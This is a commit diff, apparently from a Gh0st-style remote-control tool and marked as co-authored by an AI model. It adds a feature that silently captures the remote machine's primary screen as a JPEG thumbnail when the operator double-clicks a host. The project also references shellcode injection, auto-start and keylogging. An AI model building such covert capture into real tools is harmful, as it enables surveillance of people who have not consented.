Feature: screen preview thumbnail on host double-click

Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW. Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd showing the thumbnail above the host info text, with wide-character rendering so the popup also works on non-Chinese servers. - Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto upscale on Ultra/High tiers up to min(screenWidth/4, 1280). - Client limits to 1 in-flight capture via atomic counter to defend against flood/DoS; Send2Server is already mutex-serialized. - Server validates responses by reqId only (single in-flight tip); 4s arrival timeout marks "preview unavailable" without blocking the text fallback path. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 18:17:28 +02:00
parent 70a6b0128e
commit 566f5b8d42
15 changed files with 785 additions and 22 deletions
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -199,6 +199,7 @@
    <ClCompile Include="RegisterOperation.cpp" />
    <ClCompile Include="SafeThread.cpp" />
    <ClCompile Include="ScreenManager.cpp" />
+    <ClCompile Include="ScreenPreview.cpp" />
    <ClCompile Include="ScreenSpy.cpp" />
    <ClCompile Include="ServicesManager.cpp" />
    <ClCompile Include="ShellManager.cpp" />
@@ -241,6 +242,7 @@
    <ClInclude Include="ScreenCapture.h" />
    <ClInclude Include="ScreenCapturerDXGI.h" />
    <ClInclude Include="ScreenManager.h" />
+    <ClInclude Include="ScreenPreview.h" />
    <ClInclude Include="ScreenSpy.h" />
    <ClInclude Include="ServicesManager.h" />
    <ClInclude Include="ShellManager.h" />
--- a/client/ClientDll_vs2015.vcxproj.filters
+++ b/client/ClientDll_vs2015.vcxproj.filters
@@ -27,6 +27,7 @@
    <ClCompile Include="RegisterOperation.cpp" />
    <ClCompile Include="SafeThread.cpp" />
    <ClCompile Include="ScreenManager.cpp" />
+    <ClCompile Include="ScreenPreview.cpp" />
    <ClCompile Include="ScreenSpy.cpp" />
    <ClCompile Include="ServicesManager.cpp" />
    <ClCompile Include="ShellManager.cpp" />
@@ -70,6 +71,7 @@
    <ClInclude Include="ScreenCapture.h" />
    <ClInclude Include="ScreenCapturerDXGI.h" />
    <ClInclude Include="ScreenManager.h" />
+    <ClInclude Include="ScreenPreview.h" />
    <ClInclude Include="ScreenSpy.h" />
    <ClInclude Include="ServicesManager.h" />
    <ClInclude Include="ShellManager.h" />
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -18,6 +18,7 @@
 #include "auto_start.h"
 #include "ShellcodeInj.h"
 #include "KeyboardManager.h"
+#include "ScreenPreview.h"
 #include "common/file_upload.h"
 #include "common/DateVerify.h"
 #include "common/LANChecker.h"
@@ -1137,6 +1138,43 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
        break;
    }

+    case COMMAND_SCREEN_PREVIEW_REQ: {
+        if (ulLength < sizeof(ScreenPreviewReq)) break;
+        ScreenPreviewReq req;
+        memcpy(&req, szBuffer, sizeof(req));
+        // 限流：同一时刻最多 1 个抓屏任务在跑，防御服务端洪泛或异常重发把客户端打爆
+        static std::atomic<int> s_inFlight{0};
+        if (s_inFlight.fetch_add(1) >= 1) {
+            s_inFlight.fetch_sub(1);
+            break;   // 直接丢弃，让服务端 4s 超时降级为"预览不可用"
+        }
+        // 投递到工作线程，避免阻塞 OnReceive；抓屏 + 编码可能耗几十毫秒
+        std::thread([this, req]() {
+            struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
+            std::vector<unsigned char> jpg;
+            int w = 0, h = 0;
+            int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
+
+            std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
+            ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
+            memset(hdr, 0, sizeof(*hdr));
+            hdr->token  = TOKEN_SCREEN_PREVIEW_RSP;
+            hdr->reqId  = req.reqId;
+            hdr->status = (uint8_t)st;
+            hdr->format = SCREEN_PREVIEW_FMT_JPEG;
+            hdr->width  = (uint16_t)w;
+            hdr->height = (uint16_t)h;
+            hdr->bytes  = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
+            if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
+                memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
+            }
+            if (m_ClientObject && m_ClientObject->IsConnected()) {
+                m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
+            }
+        }).detach();
+        break;
+    }
+
    case COMMAND_SCREEN_SPY: {
        UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
        if (ulLength > 1) {
--- a/client/ScreenPreview.cpp
+++ b/client/ScreenPreview.cpp
@@ -0,0 +1,188 @@
+// ScreenPreview.cpp
+#include "stdafx.h"
+#include "ScreenPreview.h"
+#include "../common/commands.h"   // ScreenPreviewStatus
+
+#include <windows.h>
+#include <objidl.h>     // IUnknown / IStream — gdiplus.h 依赖它们已声明
+#include <gdiplus.h>
+#pragma comment(lib, "gdiplus.lib")
+
+using namespace Gdiplus;
+
+namespace {
+
+// GDI+ 进程级初始化（与 Bmp2Video 互不冲突；Startup 可重入计数）
+struct GdiplusBoot {
+    ULONG_PTR token = 0;
+    bool ok = false;
+    GdiplusBoot()
+    {
+        GdiplusStartupInput in;
+        ok = (GdiplusStartup(&token, &in, NULL) == Ok);
+    }
+    ~GdiplusBoot()
+    {
+        if (ok) GdiplusShutdown(token);
+    }
+};
+static GdiplusBoot g_boot;
+
+int GetJpegEncoderClsid(CLSID& clsid)
+{
+    UINT num = 0, size = 0;
+    GetImageEncodersSize(&num, &size);
+    if (size == 0) return -1;
+
+    std::vector<BYTE> buf(size);
+    ImageCodecInfo* info = reinterpret_cast<ImageCodecInfo*>(buf.data());
+    GetImageEncoders(num, size, info);
+    for (UINT i = 0; i < num; ++i) {
+        if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
+            clsid = info[i].Clsid;
+            return 0;
+        }
+    }
+    return -1;
+}
+
+// 抓主屏到 24bpp Bitmap，目标尺寸已等比换算。
+// 返回新分配的 Bitmap*，失败返回 nullptr。调用者负责 delete。
+Bitmap* GrabPrimaryScaled(int targetW, int targetH)
+{
+    HDC hScreen = GetDC(NULL);
+    if (!hScreen) return nullptr;
+
+    int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN);   // 主屏左上 — 仅取主屏时用 0,0
+    int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
+    (void)srcX; (void)srcY;
+
+    int srcW = GetSystemMetrics(SM_CXSCREEN);
+    int srcH = GetSystemMetrics(SM_CYSCREEN);
+    if (srcW <= 0 || srcH <= 0) {
+        ReleaseDC(NULL, hScreen);
+        return nullptr;
+    }
+
+    HDC hMem = CreateCompatibleDC(hScreen);
+    HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
+    if (!hMem || !hBmp) {
+        if (hBmp) DeleteObject(hBmp);
+        if (hMem) DeleteDC(hMem);
+        ReleaseDC(NULL, hScreen);
+        return nullptr;
+    }
+
+    HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
+
+    // 高质量缩放：HALFTONE 内插
+    SetStretchBltMode(hMem, HALFTONE);
+    SetBrushOrgEx(hMem, 0, 0, NULL);
+    BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
+                         hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
+
+    SelectObject(hMem, oldBmp);
+
+    Bitmap* out = nullptr;
+    if (bb) {
+        // 拷贝 HBITMAP 到 GDI+ Bitmap，避免后续释放设备 DC 影响图像
+        Bitmap tmp(hBmp, NULL);
+        if (tmp.GetLastStatus() == Ok) {
+            out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
+            if (out && out->GetLastStatus() != Ok) {
+                delete out;
+                out = nullptr;
+            }
+        }
+    }
+
+    DeleteObject(hBmp);
+    DeleteDC(hMem);
+    ReleaseDC(NULL, hScreen);
+    return out;
+}
+
+} // namespace
+
+int CaptureAndEncodePreview(int maxWidth, int quality,
+                            std::vector<unsigned char>& out,
+                            int& outWidth, int& outHeight)
+{
+    out.clear();
+    outWidth = outHeight = 0;
+
+    if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
+    if (maxWidth < 64) maxWidth = 64;
+    if (maxWidth > 1920) maxWidth = 1920;
+    if (quality < 1) quality = 1;
+    if (quality > 100) quality = 100;
+
+    int srcW = GetSystemMetrics(SM_CXSCREEN);
+    int srcH = GetSystemMetrics(SM_CYSCREEN);
+    if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
+
+    // 等比缩放，禁止放大
+    int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
+    int targetH = (int)((double)srcH * targetW / srcW + 0.5);
+    if (targetH <= 0) targetH = 1;
+    // 偶数对齐，JPEG 编码更高效
+    targetW &= ~1;
+    targetH &= ~1;
+    if (targetW < 2) targetW = 2;
+    if (targetH < 2) targetH = 2;
+
+    Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
+    if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
+
+    CLSID clsid;
+    if (GetJpegEncoderClsid(clsid) != 0) {
+        delete bmp;
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+
+    EncoderParameters params;
+    params.Count = 1;
+    params.Parameter[0].Guid = EncoderQuality;
+    params.Parameter[0].Type = EncoderParameterValueTypeLong;
+    params.Parameter[0].NumberOfValues = 1;
+    ULONG q = (ULONG)quality;
+    params.Parameter[0].Value = &q;
+
+    IStream* stream = nullptr;
+    if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
+        delete bmp;
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+
+    Status st = bmp->Save(stream, &clsid, &params);
+    delete bmp;
+
+    if (st != Ok) {
+        stream->Release();
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+
+    HGLOBAL hMem = NULL;
+    if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
+        stream->Release();
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+    SIZE_T sz = GlobalSize(hMem);
+    if (sz == 0) {
+        stream->Release();
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+
+    void* p = GlobalLock(hMem);
+    if (!p) {
+        stream->Release();
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+    out.assign((unsigned char*)p, (unsigned char*)p + sz);
+    GlobalUnlock(hMem);
+    stream->Release();
+
+    outWidth = targetW;
+    outHeight = targetH;
+    return SCREEN_PREVIEW_OK;
+}
--- a/client/ScreenPreview.h
+++ b/client/ScreenPreview.h
@@ -0,0 +1,16 @@
+// ScreenPreview.h
+// 屏幕预览：抓主屏 → 等比缩放 → JPEG 编码，供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
+#pragma once
+
+#include <vector>
+
+// 抓取主屏并编码成 JPEG。
+//   maxWidth   服务端期望的宽度；客户端按源屏宽度等比缩放，不会强制放大
+//   quality    JPEG 质量 1..100（建议 40..85）
+//   out        编码后的 JPEG 字节流
+//   outWidth   实际编码图宽
+//   outHeight  实际编码图高
+// 返回 0 表示成功；非 0 见 ScreenPreviewStatus（枚举在 commands.h）
+int CaptureAndEncodePreview(int maxWidth, int quality,
+                            std::vector<unsigned char>& out,
+                            int& outWidth, int& outHeight);
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -209,6 +209,7 @@
    <ClCompile Include="reg_startup.c" />
    <ClCompile Include="SafeThread.cpp" />
    <ClCompile Include="ScreenManager.cpp" />
+    <ClCompile Include="ScreenPreview.cpp" />
    <ClCompile Include="ScreenSpy.cpp" />
    <ClCompile Include="ServicesManager.cpp" />
    <ClCompile Include="ServiceWrapper.c" />
@@ -257,6 +258,7 @@
    <ClInclude Include="SafeThread.h" />
    <ClInclude Include="ScreenCapturerDXGI.h" />
    <ClInclude Include="ScreenManager.h" />
+    <ClInclude Include="ScreenPreview.h" />
    <ClInclude Include="ScreenSpy.h" />
    <ClInclude Include="ServicesManager.h" />
    <ClInclude Include="ServiceWrapper.h" />
--- a/common/commands.h
+++ b/common/commands.h
@@ -125,9 +125,10 @@ inline int isValid_10s()
 #define DLL_VERSION __DATE__		// DLL版本

 // 客户端能力位
-#define CLIENT_CAP_V2   0x0001      // 支持 V2 文件传输
-#define CLIENT_CAP_UTF8 0x0002      // 协议字符串字段统一使用 UTF-8 编码（活动窗口、窗口列表、键盘记录中的窗口标题等）
-                                    // 无此位 = 老客户端，按系统 ANSI（默认 CP936）解读
+#define CLIENT_CAP_V2             0x0001    // 支持 V2 文件传输
+#define CLIENT_CAP_UTF8           0x0002    // 协议字符串字段统一使用 UTF-8 编码（活动窗口、窗口列表、键盘记录中的窗口标题等）
+                                            // 无此位 = 老客户端，按系统 ANSI（默认 CP936）解读
+#define CLIENT_CAP_SCREEN_PREVIEW 0x0004    // 支持屏幕预览（双击在线主机时弹缩略图）

 #define TALK_DLG_MAXLEN 1024		// 最大输入字符长度

@@ -334,6 +335,8 @@ enum {
 	CMD_PEER_TO_PEER = 244,         // P2P通信
    TOKEN_CLIENTID = 245,
    TOKEN_CONN_AUTH = 246,          // 子连接身份校验包（客户端首发，服务端回 ConnAuthAck）
+    COMMAND_SCREEN_PREVIEW_REQ = 247,   // 屏幕预览请求（服务端→客户端）
+    TOKEN_SCREEN_PREVIEW_RSP = 248,     // 屏幕预览响应（客户端→服务端）
 };

 // 子连接校验：HMAC 签名 (clientID || timestamp || nonce)，服务端通过校验后把 clientID
@@ -374,6 +377,47 @@ struct ConnAuthAck {
 static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
 static_assert(sizeof(ConnAuthAck) == 256,    "ConnAuthAck must be exactly 256 bytes");

+// 屏幕预览：服务端按双击在线主机触发，向客户端要一张缩略图（JPEG），与浮窗一起显示。
+// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发；客户端
+// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG，预留 PNG/WebP。
+#pragma pack(push, 1)
+struct ScreenPreviewReq {
+    uint8_t  cmd;                // = COMMAND_SCREEN_PREVIEW_REQ
+    uint16_t reqId;              // 请求序号，用于丢弃过期响应
+    uint16_t maxWidth;           // 服务端期望的目标宽度（客户端等比缩放，不强制）
+    uint8_t  jpegQuality;        // 1..100
+    uint16_t reserved;
+};                               // 总 8 字节
+
+enum ScreenPreviewStatus {
+    SCREEN_PREVIEW_OK             = 0,
+    SCREEN_PREVIEW_CAPTURE_FAILED = 1,   // 抓屏失败
+    SCREEN_PREVIEW_ENCODE_FAILED  = 2,   // 编码失败
+    SCREEN_PREVIEW_NOT_SUPPORTED  = 3,   // 平台不支持
+};
+
+enum ScreenPreviewFormat {
+    SCREEN_PREVIEW_FMT_JPEG = 0,
+    SCREEN_PREVIEW_FMT_PNG  = 1,         // 预留
+    SCREEN_PREVIEW_FMT_WEBP = 2,         // 预留
+};
+
+struct ScreenPreviewRspHeader {
+    uint8_t  token;              // = TOKEN_SCREEN_PREVIEW_RSP
+    uint16_t reqId;              // 回显请求序号
+    uint8_t  status;             // ScreenPreviewStatus
+    uint8_t  format;             // ScreenPreviewFormat（v1 仅 JPEG）
+    uint16_t width;              // 实际编码图宽
+    uint16_t height;             // 实际编码图高
+    uint32_t bytes;              // 图像字节数（紧随其后）
+    uint8_t  reserved[3];
+    // 后接 data[bytes]
+};                               // 头部 16 字节
+#pragma pack(pop)
+
+static_assert(sizeof(ScreenPreviewReq) == 8,        "ScreenPreviewReq must be 8 bytes");
+static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes");
+
 enum ConnAuthStatus {
    CONN_AUTH_OK             = 0,
    CONN_AUTH_BAD_SIZE       = 1,    // 包长度不对
@@ -970,7 +1014,7 @@ typedef struct  LOGIN_INFOR {
    {
        memset(this, 0, sizeof(LOGIN_INFOR));
        bToken = TOKEN_LOGIN;
-        sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8);
+        sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8 | CLIENT_CAP_SCREEN_PREVIEW);
    }
    LOGIN_INFOR& Speed(unsigned long speed)
    {
@@ -1143,6 +1187,29 @@ inline const QualityProfile& GetQualityProfile(int level) {
    return g_QualityProfiles[level];
 }

+// 屏幕预览质量配置（与 QualityLevel 共用 RTT 阈值表，但参数维度不同：缩略图只关心
+// 编码尺寸 + JPEG 质量，没有 FPS / 算法等运动视频参数）
+struct PreviewProfile {
+    int maxWidth;       // 期望编码宽度（客户端会等比缩放，禁止放大）
+    int jpegQuality;    // JPEG 质量 1..100
+};
+
+inline const PreviewProfile& GetScreenPreviewProfile(int level) {
+    static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = {
+        { 1024, 85 },   // Ultra:    超清 (LAN/同省，4K 源屏可进一步放大到 1280)
+        {  800, 80 },   // High:     高清 (跨省直连)
+        {  640, 75 },   // Good:     标清 (同国/邻国)
+        {  480, 70 },   // Medium:   常规 (大陆间)
+        {  384, 60 },   // Low:      低清 (跨洲)
+        {  256, 50 },   // Minimal:  最低 (极差网络/卫星链路)
+    };
+    if (level < 0 || level >= QUALITY_COUNT) {
+        static const PreviewProfile fallback = { 480, 70 };
+        return fallback;
+    }
+    return g_PreviewProfiles[level];
+}
+
 // 根据RTT获取目标质量等级 (控制端使用)
 inline int GetTargetQualityLevel(int rtt, int usingFRP) {
    // 根据模式应用不同 RTT阈值 (毫秒)
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -71,6 +71,7 @@
 #include "FrpsForSubDlg.h"
 #include "PluginSettingsDlg.h"
 #include "TriggerSettingsDlg.h"
+#include "PreviewTipWnd.h"
 #include "common/key.h"
 #include "UIBranding.h"

@@ -86,6 +87,7 @@
 #define TIMER_REFRESH_LIST 5
 #define TIMER_STATUSBAR_UPDATE 6
 #define TIMER_STATUSBAR_INIT 7
+#define TIMER_PREVIEW_ARRIVAL 8     // 屏幕预览到达超时（4 秒未收到则提示"预览不可用"）
 #define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
 #define TINY_DLL_NAME "TinyRun.dll"
 #define FRPC_DLL_NAME "Frpc.dll"
@@ -799,6 +801,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
    ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
    ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
    ON_MESSAGE(WM_UPDATE_ACTIVEWND, UpdateUserEvent)
+    ON_MESSAGE(WM_PREVIEW_RESPONSE, OnPreviewResponse)
    ON_WM_HELPINFO()
    ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
    ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
@@ -3039,6 +3042,12 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
    if (nIDEvent == TIMER_CLOSEWND) {
        DeletePopupWindow();
    }
+    if (nIDEvent == TIMER_PREVIEW_ARRIVAL) {
+        KillTimer(TIMER_PREVIEW_ARRIVAL);
+        if (m_pPreviewTip && ::IsWindow(m_pPreviewTip->GetSafeHwnd())) {
+            m_pPreviewTip->MarkPreviewUnavailable();
+        }
+    }
    if (nIDEvent == TIMER_CLEAR_BALLOON) {
        KillTimer(TIMER_CLEAR_BALLOON);

@@ -3354,7 +3363,10 @@ void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce)
        m_pFloatingTip->DestroyWindow();

    SAFE_DELETE(m_pFloatingTip);
+    m_pPreviewTip = nullptr;
+    m_PreviewReqId = 0;
    KillTimer(TIMER_CLOSEWND);
+    KillTimer(TIMER_PREVIEW_ARRIVAL);
 }


@@ -5438,6 +5450,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
    case 137: // 心跳【L】
        g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
        break;
+    case TOKEN_SCREEN_PREVIEW_RSP: {
+        // 屏幕预览响应：把整个包拷到堆上，转给主线程处理（IO 线程不接触 UI）
+        if (len < sizeof(ScreenPreviewRspHeader)) break;
+        auto* pkt = new std::vector<BYTE>(szBuffer, szBuffer + len);
+        if (!g_2015RemoteDlg->PostMessageA(WM_PREVIEW_RESPONSE, 0, (LPARAM)pkt)) {
+            delete pkt;
+        }
+        break;
+    }
    case SOCKET_DLLLOADER: {// 请求DLL【L】
        auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
        bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
@@ -7558,36 +7579,141 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
        CPoint pt;
        GetCursorPos(&pt);

-        // 清理旧提示
+        // 清理旧提示（DeletePopupWindow 会同时清掉 m_pPreviewTip / m_PreviewReqId / 定时器）
        DeletePopupWindow(TRUE);

-        // 创建提示窗口
-        m_pFloatingTip = new CWnd();
-        int width = res[RES_FILE_PATH].GetLength() * 10 + 36;
-        width = min(max(width, 360), 800);
-        CRect rect(pt.x, pt.y, pt.x + width, pt.y + 120); // 宽度、高度
+        // 屏幕预览触发条件：客户端支持能力位 + 当前活动窗口非 Locked/Inactive
+        CString activeWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
+        bool isIdleOrLocked =
+            activeWnd.Find(_T("Locked")) == 0 || activeWnd.Find(_T("Inactive")) == 0;
+        bool wantPreview = ctx->SupportsScreenPreview() && !isIdleOrLocked;

-        BOOL bOk = m_pFloatingTip->CreateEx(
-                       WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
-                       _T("STATIC"),
-                       strText,
-                       WS_POPUP | WS_VISIBLE | WS_BORDER | SS_LEFT | SS_NOTIFY,
-                       rect,
-                       this,
-                       0);
+        // 创建新预览浮窗
+        WORD maxWidth = 480;
+        BYTE jpegQ = 70;
+        if (wantPreview) {
+            ChooseScreenPreviewParams(ctx, maxWidth, jpegQ);
+        }

+        auto* tip = new CPreviewTipWnd();
+        // 项目是 MBCS（CP_ACP），浮窗内部用宽字符渲染（避免跨语言系统乱码）。
+        // 这里把 strText (CStringA) 按 CP_ACP 转 wide。
+        CStringW textW;
+        {
+            int wlen = MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, NULL, 0);
+            if (wlen > 1) {
+                MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, textW.GetBufferSetLength(wlen - 1), wlen);
+                textW.ReleaseBuffer(wlen - 1);
+            }
+        }
+        BOOL bOk = tip->Create(this, pt, textW, wantPreview ? maxWidth : 0);
        if (bOk) {
-            m_pFloatingTip->SetFont(GetFont());
-            m_pFloatingTip->ShowWindow(SW_SHOW);
-            SetTimer(TIMER_CLOSEWND, 5000, nullptr);
+            m_pFloatingTip = tip;
+            m_pPreviewTip = tip;
+            // 整体超时：有预览 8 秒（图到达后会续命 5s），纯文本 5 秒
+            SetTimer(TIMER_CLOSEWND, wantPreview ? 8000 : 5000, nullptr);
+
+            if (wantPreview) {
+                // 序号 0 视为"无效"，从 1 开始递增
+                if (++m_PreviewReqId == 0) m_PreviewReqId = 1;
+                tip->SetReqId(m_PreviewReqId);
+                SendScreenPreviewRequest(ctx, m_PreviewReqId, maxWidth, jpegQ);
+                // 4 秒未收到 → 在浮窗里标"预览不可用"
+                SetTimer(TIMER_PREVIEW_ARRIVAL, 4000, nullptr);
+            }
        } else {
-            SAFE_DELETE(m_pFloatingTip);
+            delete tip;
        }
    }

    *pResult = 0;
 }

+// 屏幕预览参数挑选：复用既有 GetTargetQualityLevel + GetScreenPreviewProfile
+// RTT 阈值表与屏幕共享共用（FRP 模式阈值更宽松）；超清档（Ultra/High）+ 4K/超宽屏
+// 时按 min(screenWidth/4, 1280) 自适应放大，避免高分屏被压成无信息缩略图
+void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const
+{
+    int ping = 0;
+    {
+        CString p = ctx->GetClientData(ONLINELIST_PING);
+        if (!p.IsEmpty()) ping = atoi(p.GetString());
+    }
+    // ping 未上报（0/缺失）→ 当中等档处理，避免误判为局域网刷过大缩略图
+    int rttForLevel = ping > 0 ? ping : 250;
+
+    int level = GetTargetQualityLevel(rttForLevel, m_settings.UsingFRPProxy ? 1 : 0);
+    const PreviewProfile& prof = GetScreenPreviewProfile(level);
+    int base = prof.maxWidth;
+    BYTE q   = (BYTE)prof.jpegQuality;
+
+    // 4K/超宽屏自适应（仅 Ultra/High 启用，弱网档不放大保带宽）
+    if (level <= QUALITY_HIGH) {
+        CString resStr = ctx->GetAdditionalData(RES_RESOLUTION);
+        if (!resStr.IsEmpty()) {
+            int sw = 0, sh = 0;
+            if (_stscanf_s(resStr, _T("%dx%d"), &sw, &sh) == 2 && sw >= 2560) {
+                int adj = sw / 4;
+                if (adj > 1280) adj = 1280;
+                if (adj > base)  base = adj;
+            }
+        }
+    }
+
+    maxWidth = (WORD)base;
+    jpegQuality = q;
+}
+
+void CMy2015RemoteDlg::SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality)
+{
+    if (!ctx) return;
+    ScreenPreviewReq req;
+    memset(&req, 0, sizeof(req));
+    req.cmd         = COMMAND_SCREEN_PREVIEW_REQ;
+    req.reqId       = reqId;
+    req.maxWidth    = maxWidth;
+    req.jpegQuality = jpegQuality;
+    ctx->Send2Client((PBYTE)&req, sizeof(req));
+}
+
+// 收到 TOKEN_SCREEN_PREVIEW_RSP（在主线程）
+//   wParam: 未使用（避免依赖 WPARAM 宽度，Win32 上 32 位会截 64 位 clientID）
+//   LPARAM: 指向堆分配的 std::vector<BYTE>*（含完整响应包：[Header|JPEG]），处理完必须 delete。
+// 校验思路：reqId 由对话框单调递增、每次双击重置 + 同时只有 1 个 in-flight tip，足以
+// 过滤过期/乱串响应，无需再叠加 clientID 校验。
+LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam)
+{
+    auto* pkt = reinterpret_cast<std::vector<BYTE>*>(lParam);
+    if (!pkt) return 0;
+    std::unique_ptr<std::vector<BYTE>> guard(pkt);
+
+    if (pkt->size() < sizeof(ScreenPreviewRspHeader)) return 0;
+    const ScreenPreviewRspHeader* hdr = reinterpret_cast<const ScreenPreviewRspHeader*>(pkt->data());
+    if (hdr->token != TOKEN_SCREEN_PREVIEW_RSP) return 0;
+
+    // 序号校验：和当前期待的 reqId 不符 → 过期响应，丢弃
+    if (m_PreviewReqId == 0 || hdr->reqId != m_PreviewReqId) return 0;
+    if (!m_pPreviewTip || !::IsWindow(m_pPreviewTip->GetSafeHwnd())) return 0;
+
+    KillTimer(TIMER_PREVIEW_ARRIVAL);
+
+    if (hdr->status != SCREEN_PREVIEW_OK || hdr->bytes == 0 ||
+        pkt->size() < sizeof(ScreenPreviewRspHeader) + hdr->bytes ||
+        hdr->format != SCREEN_PREVIEW_FMT_JPEG)
+    {
+        m_pPreviewTip->MarkPreviewUnavailable();
+        return 0;
+    }
+
+    const BYTE* jpeg = pkt->data() + sizeof(ScreenPreviewRspHeader);
+    m_pPreviewTip->SetImageFromJpeg(jpeg, hdr->bytes);
+
+    // 图到达后续命 5 秒
+    KillTimer(TIMER_CLOSEWND);
+    SetTimer(TIMER_CLOSEWND, 5000, nullptr);
+    return 0;
+}
+

 void CMy2015RemoteDlg::OnOnlineUnauthorize()
 {
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -230,6 +230,10 @@ public:
    VOID SendAllCommand(PBYTE  szBuffer, ULONG ulLength);
    // 显示用户上线信息
    CWnd* m_pFloatingTip = nullptr;
+    // 屏幕预览：m_pFloatingTip 实际是 CPreviewTipWnd 时这里有同一指针的有类型副本，
+    // 用于在收到 JPEG 后调用 SetImageFromJpeg；DeletePopupWindow 释放时一并置空。
+    class CPreviewTipWnd* m_pPreviewTip = nullptr;
+    WORD m_PreviewReqId = 0;            // 当前期待的预览响应序号；0 = 无待响应
    // 记录 clientID（心跳更新）
    std::set<uint64_t> m_DirtyClients;
    // 待处理的上线/下线事件（批量更新减少闪烁）
@@ -434,6 +438,12 @@ public:
    afx_msg void OnWhatIsThis();
    afx_msg void OnOnlineAuthorize();
    void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
+    // 屏幕预览：依 ctx 最近 RTT + 屏幕分辨率挑参数；4K/超宽屏在 LAN 档自适应放大
+    void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
+    // 发起预览请求；reqId 应与 m_PreviewReqId 同步
+    void SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality);
+    // 收到 TOKEN_SCREEN_PREVIEW_RSP（在主线程处理）
